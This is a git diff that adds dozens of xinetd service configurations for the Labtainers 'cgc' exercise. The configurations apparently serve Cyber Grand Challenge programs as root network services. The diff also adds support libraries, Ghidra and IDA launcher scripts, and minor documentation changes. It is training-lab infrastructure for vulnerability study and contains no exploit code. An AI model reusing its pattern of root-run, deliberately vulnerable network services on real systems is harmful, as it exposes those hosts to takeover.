b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simplenote @@ -0,0 +1,11 @@ +service simplenote +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/simplenote + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simpleocr b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simpleocr new file mode 100644 index 000000000..b3b5409ff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simpleocr @@ -0,0 +1,11 @@ +service simpleocr +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/simpleOCR + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/single-sign-on b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/single-sign-on new file mode 100644 index 000000000..c76c63b48 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/single-sign-on @@ -0,0 +1,11 @@ +service single-sign-on +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Single-Sign-On + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/slur_reference_implementation b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/slur_reference_implementation new file mode 100644 index 000000000..32e0d0455 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/slur_reference_implementation @@ -0,0 +1,11 @@ +service slur_reference_implementation +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SLUR_reference_implementation + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/snail_mail b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/snail_mail new file mode 100644 index 000000000..4da092b89 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/snail_mail @@ -0,0 +1,11 @@ +service snail_mail +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Snail_Mail + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/solfedge b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/solfedge new file mode 100644 index 000000000..a6bb83329 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/solfedge @@ -0,0 +1,11 @@ +service solfedge +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SOLFEDGE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sorter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sorter new file mode 100644 index 000000000..1d84bab6a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sorter @@ -0,0 +1,11 @@ +service sorter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Sorter + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/space_attackers b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/space_attackers new file mode 100644 index 000000000..b9f23bbee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/space_attackers @@ -0,0 +1,11 @@ +service space_attackers +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Space_Attackers + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/spiffs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/spiffs new file mode 100644 index 000000000..8b67b9ae9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/spiffs @@ -0,0 +1,11 @@ +service spiffs +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SPIFFS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/square_rabbit b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/square_rabbit new file mode 100644 index 000000000..b11024038 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/square_rabbit @@ -0,0 +1,11 @@ +service square_rabbit +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Square_Rabbit + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stack_vm b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stack_vm new file mode 100644 index 000000000..f24bb8df4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stack_vm @@ -0,0 +1,11 @@ +service stack_vm +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/stack_vm + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stock_exchange_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stock_exchange_simulator new file mode 100644 index 000000000..f2f6f5de9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stock_exchange_simulator @@ -0,0 +1,11 @@ +service stock_exchange_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Stock_Exchange_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm new file mode 100644 index 000000000..8b888c536 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm @@ -0,0 +1,11 @@ +service stream_vm +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/stream_vm + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm2 new file mode 100644 index 000000000..7ee0380d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/stream_vm2 @@ -0,0 +1,11 @@ +service stream_vm2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/stream_vm2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/street_map_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/street_map_service new file mode 100644 index 000000000..af7da5131 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/street_map_service @@ -0,0 +1,11 @@ +service street_map_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Street_map_service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_info_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_info_calculator new file mode 100644 index 000000000..c4cdc11c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_info_calculator @@ -0,0 +1,11 @@ +service string_info_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/String_Info_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_storage_and_retrieval b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_storage_and_retrieval new file mode 100644 index 000000000..9b4802564 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/string_storage_and_retrieval @@ -0,0 +1,11 @@ +service string_storage_and_retrieval +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/String_Storage_and_Retrieval + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/taintedlove b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/taintedlove new file mode 100644 index 000000000..6398a09eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/taintedlove @@ -0,0 +1,11 @@ +service taintedlove +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/TAINTEDLOVE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tennis_ball_motion_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tennis_ball_motion_calculator new file mode 100644 index 000000000..0f693c00d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tennis_ball_motion_calculator @@ -0,0 +1,11 @@ +service tennis_ball_motion_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Tennis_Ball_Motion_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/terrible_ticket_tracker b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/terrible_ticket_tracker new file mode 100644 index 000000000..d8d4efe33 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/terrible_ticket_tracker @@ -0,0 +1,11 @@ +service terrible_ticket_tracker +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Terrible_Ticket_Tracker + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/textsearch b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/textsearch new file mode 100644 index 000000000..4a921877c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/textsearch @@ -0,0 +1,11 @@ +service textsearch +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/TextSearch + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tfttp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tfttp new file mode 100644 index 000000000..aeea83fc7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tfttp @@ -0,0 +1,11 @@ +service tfttp +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/TFTTP + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/the_longest_road b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/the_longest_road new file mode 100644 index 000000000..2de2f1371 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/the_longest_road @@ -0,0 +1,11 @@ +service the_longest_road +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/The_Longest_Road + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v2 new file mode 100644 index 000000000..a05fab7c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v2 @@ -0,0 +1,11 @@ +service thermal_controller_v2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Thermal_Controller_v2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v3 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v3 new file mode 100644 index 000000000..f9189e8d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/thermal_controller_v3 @@ -0,0 +1,11 @@ +service thermal_controller_v3 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Thermal_Controller_v3 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tiaca b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tiaca new file mode 100644 index 000000000..a7214947e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tiaca @@ -0,0 +1,11 @@ +service tiaca +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/TIACA + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tick-a-tack b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tick-a-tack new file mode 100644 index 000000000..60e77ae69 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tick-a-tack @@ -0,0 +1,11 @@ +service tick-a-tack +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Tick-A-Tack + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tvs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tvs new file mode 100644 index 000000000..d62924d63 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/tvs @@ -0,0 +1,11 @@ +service tvs +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/TVS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/university_enrollment b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/university_enrollment new file mode 100644 index 000000000..6947babe4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/university_enrollment @@ -0,0 +1,11 @@ +service university_enrollment +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/university_enrollment + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/user_manager b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/user_manager new file mode 100644 index 000000000..e9dca5304 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/user_manager @@ -0,0 +1,11 @@ +service user_manager +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/User_Manager + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/utf-late b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/utf-late new file mode 100644 index 000000000..ee7903051 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/utf-late @@ -0,0 +1,11 @@ +service utf-late +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/UTF-late + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/valvechecks b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/valvechecks new file mode 100644 index 000000000..9d477fa05 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/valvechecks @@ -0,0 +1,11 @@ +service valvechecks +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/ValveChecks + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_2 new file mode 100644 index 000000000..43e58a80a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_2 @@ -0,0 +1,11 @@ +service vector_graphics_2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Vector_Graphics_2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_format b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_format new file mode 100644 index 000000000..c058ccd92 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vector_graphics_format @@ -0,0 +1,11 @@ +service vector_graphics_format +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Vector_Graphics_Format + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/venture_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/venture_calculator new file mode 100644 index 000000000..a84699227 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/venture_calculator @@ -0,0 +1,11 @@ +service venture_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Venture_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vfilter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vfilter new file mode 100644 index 000000000..903c1c274 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/vfilter @@ -0,0 +1,11 @@ +service vfilter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/vFilter + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_machine b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_machine new file mode 100644 index 000000000..26e6f9b47 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_machine @@ -0,0 +1,11 @@ +service virtual_machine +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Virtual_Machine + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_pet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_pet new file mode 100644 index 000000000..557f9aaa7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/virtual_pet @@ -0,0 +1,11 @@ +service virtual_pet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/virtual_pet + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/water_treatment_facility_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/water_treatment_facility_simulator new file mode 100644 index 000000000..e9c154557 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/water_treatment_facility_simulator @@ -0,0 +1,11 @@ +service water_treatment_facility_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Water_Treatment_Facility_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/whackjack b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/whackjack new file mode 100644 index 000000000..84e497728 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/whackjack @@ -0,0 +1,11 @@ +service whackjack +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/WhackJack + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/wordcompletion b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/wordcompletion new file mode 100644 index 000000000..1929090e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/wordcompletion @@ -0,0 +1,11 @@ +service wordcompletion +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/WordCompletion + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/xstore b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/xstore new file mode 100644 index 000000000..ddf87d380 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/xstore @@ -0,0 +1,11 @@ +service xstore +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/XStore + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/yolodex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/yolodex new file mode 100644 index 000000000..2356c6664 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/yolodex @@ -0,0 +1,11 @@ +service yolodex +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/yolodex + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libcgc.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libcgc.so new file mode 100755 index 000000000..5ae653edb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libcgc.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libpov.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libpov.so new file mode 100755 index 000000000..4cfbc54a7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libpov.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libtiny-AES128-C.so b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libtiny-AES128-C.so new file mode 100755 index 000000000..966732473 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/usr/lib/libtiny-AES128-C.so differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ghidra b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ghidra new file mode 100755 index 000000000..3b923996f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ghidra @@ -0,0 +1,3 @@ +#!/bin/bash +cd ~/mystuff/ghidra +/ghidra_9.1.1_PUBLIC/ghidraRun diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ida b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ida new file mode 100755 index 000000000..985f2f997 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/ida @@ -0,0 +1,3 @@ +#!/usr/bin/bash +idafree-7.0/ida64 $@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt index bcc6a323d..bf2cfe7fd 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/docs/read_pre.txt @@ -14,3 +14,6 @@ For more information about CyberCIEGE, see https://my.nps.edu/web/c3o/cyberciege This version of CyberCIEGE will not display the tutorial videos from the Encyclopedia. Please view the videos from https://my.nps.edu/web/c3o/movies + +If CyberCIEGE logs are to be collected, save them into the /home/ubuntu directory +using the Collect Logs menu option. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cyberciege/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/about.txt new file mode 100644 index 000000000..0042df3b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/about.txt @@ -0,0 +1 @@ +Control sharing of information within an SQL database per an information security policy. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/db.quiz b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/config/db.quiz new file mode 100755 index 000000000..d6cfee8cc --- /dev/null +++ 